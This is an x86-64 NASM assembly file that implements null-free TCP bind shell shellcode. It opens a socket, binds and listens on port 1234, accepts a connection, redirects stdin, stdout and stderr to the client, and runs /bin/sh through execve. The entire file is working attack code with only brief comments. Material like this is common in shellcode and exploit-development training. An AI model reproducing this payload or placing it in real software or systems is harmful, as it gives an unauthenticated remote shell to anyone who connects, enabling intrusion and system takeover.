TCP_bind_Shell.nasm

global _start

section .text

_start:

;Socket syscall
	xor rax, rax
	add rax, 41
	xor rdi, rdi 
	add rdi, 2       ;stands for IPv4
	xor rsi, rsi
	inc rsi          ;1 stands for TCP
	xor rdx, rdx
	syscall

;Save the sockfd in RDI register
	mov rdi, rax

;Creating the structure
	xor rax, rax
	push rax
	push word 0xd204 ;port 1234
	push word 0x02 ; AF_INET
;Bind syscall
	mov rsi, rsp
	xor rdx, rdx
	add rdx, 16
	xor rax, rax
	add rax, 49
	syscall

;Listen syscall
	xor rax, rax
	add rax, 50  ;Listen
	xor rsi, rsi
	inc rsi
	syscall

;Accept syscall
	xor rax, rax
	add rax, 43 ;Accept
	xor rsi, rsi
	xor rdx, rdx
	syscall

;Store clientfd in RBX register
	mov rbx, rax

;Dup2 syscall to stdin
	mov rdi, rbx
	xor rax, rax
	add rax, 33     ;Dup2
	xor rsi, rsi    ; rsi = 0 stdin
	syscall

;Dup2 syscall to stdout
	xor rax, rax
	add rax, 33
	inc rsi        ;rsi = 1 stdout
	syscall

;Dup2 syscall stderr
	xor rax, rax
	add rax, 33
	inc rsi	       ;rsi = 2 stderr
	syscall

;Execve syscall with /bin/sh
	xor rax, rax
	push rax
	mov rdx, rsp
	mov rbx, 0x68732f6e69622f2f
	push rbx
	mov rdi, rsp
	push rax
	push rdi
	mov rsi, rsp
	add rax, 59
	syscall